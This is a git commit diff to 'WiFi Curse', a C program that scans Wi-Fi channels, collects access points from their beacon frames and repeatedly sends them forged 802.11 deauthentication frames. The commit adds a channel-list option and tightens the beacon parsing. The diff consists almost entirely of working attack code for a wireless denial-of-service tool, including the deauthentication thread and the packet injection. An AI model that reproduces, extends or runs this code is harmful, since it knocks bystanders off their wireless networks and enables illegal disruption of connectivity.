channel list option added

This commit is contained in:
oblique 2012-04-05 23:42:58 +03:00
parent 02f513a037
commit cf9755e6f7
6 changed files with 142 additions and 54 deletions

@ -79,10 +79,10 @@ int add_or_update_ap(struct ap_list *apl, struct ap_info *api) {
memset(ap, 0, sizeof(*ap));
memcpy(&ap->info, api, sizeof(ap->info));
ap->last_beacon_tm = time(NULL);
link_ap(apl, ap);
}
ap->last_beacon_tm = time(NULL);
} else
ap->last_beacon_tm = time(NULL);
return 0;
}

@ -22,7 +22,7 @@
#include <stdint.h>
#define CHANNEL_MAX 255
typedef volatile uint32_t channelset_t[8];
typedef uint32_t channelset_t[8];
static inline void channel_zero(channelset_t *cs) {
uint32_t *c = (uint32_t*)cs;

@ -24,7 +24,6 @@
#define GOTERR -1
#define ERRNODATA -2
#define ERRAGAIN -3
void set_error(char *file, int line, int errnum, char *fmt, ...);
void print_error();

@ -172,22 +172,30 @@ ssize_t iw_write(struct iw_dev *dev, void *buf, size_t count) {
if (r < 0) {
free(pbuf);
return_error("send");
} else if (r > 0) {
r -= rt_hdr->len;
if (r <= 0)
r = 0;
}
r -= rt_hdr->len;
free(pbuf);
return r > 0 ? r : ERRAGAIN;
return r;
}
ssize_t iw_read(struct iw_dev *dev, void *buf, size_t count, uint8_t **pkt, size_t *pkt_sz) {
struct radiotap_hdr *rt_hdr;
int r;
*pkt = NULL;
*pkt_sz = 0;
/* read packet */
r = recv(dev->fd_in, buf, count, 0);
if (r < 0)
return_error("recv");
else if (r == 0)
return 0;
rt_hdr = buf;
if (sizeof(*rt_hdr) >= r || rt_hdr->len >= r)
@ -201,12 +209,6 @@ ssize_t iw_read(struct iw_dev *dev, void *buf, size_t count, uint8_t **pkt, size
int iw_set_channel(struct iw_dev *dev, int chan) {
struct iwreq iwr;
ssize_t ret;
/* discard packets that are in kernel packet queue */
ret = 0;
while (ret != -1)
ret = recv(dev->fd_in, NULL, 0, MSG_DONTWAIT);
/* set channel */
memset(&iwr, 0, sizeof(iwr));

@ -20,6 +20,7 @@
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <unistd.h>
#include <poll.h>
#include <signal.h>
#include <pthread.h>
@ -33,13 +34,13 @@
#include "wificurse.h"
#define ARRAY_SIZE(arr) (sizeof(arr) / sizeof(arr[0]))
struct deauth_thread_args {
struct ap_list *apl;
struct iw_dev *dev;
pthread_mutex_t *chan_mutex;
pthread_mutex_t *list_mutex;
channelset_t *chans_fixed;
channelset_t *chans;
volatile int stop;
};
@ -66,7 +67,7 @@ int send_deauth(struct iw_dev *dev, struct access_point *ap) {
deauth->sc.sequence = ap->sequence++;
do {
r = iw_write(dev, deauth, sizeof(*deauth) + sizeof(*reason));
} while (r == ERRAGAIN);
} while (r == 0);
if (r < 0) {
free(deauth);
return r;
@ -81,6 +82,7 @@ int read_ap_info(struct iw_dev *dev, struct ap_info *api) {
uint8_t buf[4096], *pkt;
size_t pkt_sz;
ssize_t r, tmp, n;
uintptr_t tmp_ip;
struct mgmt_frame *beacon;
struct beacon_frame_body *beacon_fb;
struct info_element *beacon_ie;
@ -89,24 +91,35 @@ int read_ap_info(struct iw_dev *dev, struct ap_info *api) {
if (r < 0)
return r;
if (pkt_sz < sizeof(*beacon) + sizeof(*beacon_fb))
return ERRNODATA;
beacon = (struct mgmt_frame*)pkt;
/* if it's a beacon packet */
if (beacon->fc.subtype == FRAME_CONTROL_SUBTYPE_BEACON) {
memcpy(api->bssid, beacon->bssid, IFHWADDRLEN);
beacon_fb = (struct beacon_frame_body*)beacon->frame_body;
beacon_ie = beacon_fb->infos;
beacon_ie = (struct info_element*)beacon_fb->infos;
api->essid[0] = '\0';
n = 0;
/* parse beacon */
while (1) {
tmp_ip = (uintptr_t)beacon_ie + sizeof(*beacon_ie);
if (tmp_ip - (uintptr_t)buf >= r)
break;
tmp_ip += beacon_ie->len;
if (tmp_ip - (uintptr_t)buf > r)
break;
if (beacon_ie->id == INFO_ELEMENT_ID_SSID) { /* SSID found */
tmp = beacon_ie->len < ESSID_LEN ? beacon_ie->len : ESSID_LEN;
memcpy(api->essid, beacon_ie->info, tmp);
api->essid[tmp] = '\0';
n |= 1;
} else if (beacon_ie->id == INFO_ELEMENT_ID_DS) { /* channel number found */
if (beacon_ie->len != 1)
break;
api->chan = beacon_ie->info[0];
n |= 2;
}
@ -114,15 +127,12 @@ int read_ap_info(struct iw_dev *dev, struct ap_info *api) {
break;
/* next beacon element */
beacon_ie = (struct info_element*)&beacon_ie->info[beacon_ie->len];
if ((uintptr_t)beacon_ie - (uintptr_t)buf >= r)
break;
}
/* if we didn't found the channel number
* or if the channel number is not in interference range
* then return ERRNODATA
*/
if (!(n & 2) || api->chan < dev->chan-2 || api->chan > dev->chan+2)
if (!(n & 2))
return ERRNODATA;
return 0;
@ -134,7 +144,7 @@ int read_ap_info(struct iw_dev *dev, struct ap_info *api) {
void *deauth_thread_func(void *arg) {
struct deauth_thread_args *ta = arg;
struct access_point *ap, *tmp;
int i, j, b, tmp_chan;
int i, j, b;
while (!ta->stop) {
pthread_mutex_lock(ta->chan_mutex);
@ -144,29 +154,16 @@ void *deauth_thread_func(void *arg) {
ap = ta->apl->head;
while (ap != NULL && !ta->stop) {
/* if the last beacon we got was 3 mins ago, remove AP */
pthread_mutex_lock(ta->list_mutex);
if (time(NULL) - ap->last_beacon_tm >= 3*60) {
tmp_chan = ap->info.chan;
tmp = ap;
ap = ap->next;
pthread_mutex_lock(ta->list_mutex);
unlink_ap(ta->apl, tmp);
free(tmp);
/* if AP channel is not in chans_fixed and there isn't any
* other AP that use this channel, remove it from chans.
*/
if (!channel_isset(ta->chans_fixed, tmp_chan)) {
tmp = ta->apl->head;
while (tmp != NULL) {
if (tmp->info.chan == tmp_chan)
break;
tmp = tmp->next;
}
if (tmp == NULL)
channel_unset(ta->chans, tmp_chan);
}
pthread_mutex_unlock(ta->list_mutex);
continue;
}
pthread_mutex_unlock(ta->list_mutex);
/* if interface and AP are in the same channel, send deauth */
if (ap->info.chan == ta->dev->chan) {
if (send_deauth(ta->dev, ap) < 0) {
@ -194,6 +191,70 @@ void *deauth_thread_func(void *arg) {
return NULL;
}
static void print_usage(FILE *f) {
fprintf(f, "\n WiFi Curse v" VERSION " (C) 2012 oblique\n\n");
fprintf(f, " usage: wificurse [options] <interface>\n\n");
fprintf(f, " Options:\n");
fprintf(f, " -c channels Channel list (e.g 1,4-6,11) (default: 1-14)\n");
fprintf(f, "\n");
}
static int parse_chans_str(char *chans_str, channelset_t *chans) {
char *s, *str, *ptrs[256] = { NULL };
int i, j, n, chan1, chan2;
channel_zero(chans);
str = strtok_r(chans_str, ",", &s);
ptrs[0] = str;
n = 1;
while (n < ARRAY_SIZE(ptrs)-1) {
str = strtok_r(NULL, ",", &s);
if (str == NULL)
break;
ptrs[n++] = str;
}
i = 0;
while (ptrs[i] != NULL) {
if (ptrs[i][0] == '-')
return -1;
n = 0;
for (j = 0; ptrs[i][j] != '\0'; j++) {
if (ptrs[i][j] == '-') {
if (ptrs[i][j+1] == '\0')
return -1;
n++;
if (n > 1)
return -1;
} else if (ptrs[i][j] < '0' || ptrs[i][j] > '9')
return -1;
}
str = strtok_r(ptrs[i], "-", &s);
chan1 = atoi(str);
if (chan1 == 0)
return -1;
if (s[0] == '\0')
chan2 = chan1;
else
chan2 = atoi(s);
if (chan1 >= 256 || chan2 >= 256)
return -1;
if (chan1 > chan2)
return -1;
for (j = chan1; j <= chan2; j++)
channel_set(chans, j);
i++;
}
return 0;
}
int main(int argc, char *argv[]) {
struct ap_list apl;
struct ap_info api;
@ -204,14 +265,37 @@ int main(int argc, char *argv[]) {
suseconds_t msec;
pthread_t deauth_thread;
pthread_mutex_t chan_mutex, list_mutex;
channelset_t chans_fixed, chans;
int ret, sigfd, n, chan;
channelset_t chans;
int ret, sigfd, c, n, chan;
char *ifname, *chans_str;
sigset_t exit_sig;
time_t tm;
if (argc != 2) {
fprintf(stderr, "\n WiFi Curse v" VERSION " (C) 2012 oblique\n\n");
fprintf(stderr, " usage: wificurse <interface>\n\n");
if (argc < 2) {
print_usage(stderr);
return EXIT_FAILURE;
}
/* arguments */
ifname = argv[argc-1];
chans_str = NULL;
while((c = getopt(argc, argv, "c:h")) != -1) {
switch (c) {
case 'c':
chans_str = optarg;
break;
case 'h':
print_usage(stdout);
return EXIT_SUCCESS;
case '?':
default:
return EXIT_FAILURE;
}
}
if (argv[optind] != ifname) {
print_usage(stderr);
return EXIT_FAILURE;
}
@ -220,6 +304,18 @@ int main(int argc, char *argv[]) {
return EXIT_FAILURE;
}
/* init channel set */
if (chans_str == NULL) {
channel_zero(&chans);
for (n=1; n<=14; n++)
channel_set(&chans, n);
} else {
if (parse_chans_str(chans_str, &chans) == -1) {
fprintf(stderr, "Can not parse the channels\n");
return EXIT_FAILURE;
}
}
/* init access point list */
init_ap_list(&apl);
@ -245,7 +341,7 @@ int main(int argc, char *argv[]) {
/* init device */
iw_init_dev(&dev);
strncpy(dev.ifname, argv[1], sizeof(dev.ifname)-1);
strncpy(dev.ifname, ifname, sizeof(dev.ifname)-1);
if (iw_open(&dev) < 0) {
print_error();
@ -256,12 +352,6 @@ int main(int argc, char *argv[]) {
pfd[1].revents = 0;
pfd[1].events = POLLIN;
/* init channel set */
channel_zero(&chans_fixed);
for (n=1; n<=14; n++)
channel_set(&chans_fixed, n);
channel_copy(&chans, &chans_fixed);
/* set channel */
n = 0;
chan = 0;
@ -282,8 +372,6 @@ int main(int argc, char *argv[]) {
ta.stop = 0;
ta.apl = &apl;
ta.dev = &dev;
ta.chans_fixed = &chans_fixed;
ta.chans = &chans;
pthread_mutex_init(&chan_mutex, NULL);
ta.chan_mutex = &chan_mutex;
pthread_mutex_init(&list_mutex, NULL);
@ -312,8 +400,7 @@ int main(int argc, char *argv[]) {
if (ret < 0 && ret != ERRNODATA) { /* error */
print_error();
goto _errout;
} else if (ret == 0) { /* got infos */
channel_set(&chans, api.chan);
} else if (ret == 0 && channel_isset(&chans, api.chan)) { /* got infos */
pthread_mutex_lock(&list_mutex);
if (add_or_update_ap(&apl, &api) < 0) {
pthread_mutex_unlock(&list_mutex);

@ -72,7 +72,7 @@ struct beacon_frame_body {
uint64_t timestamp;
uint16_t interval;
uint16_t capabilities;
struct info_element infos[];
uint8_t infos[];
} __attribute__((__packed__));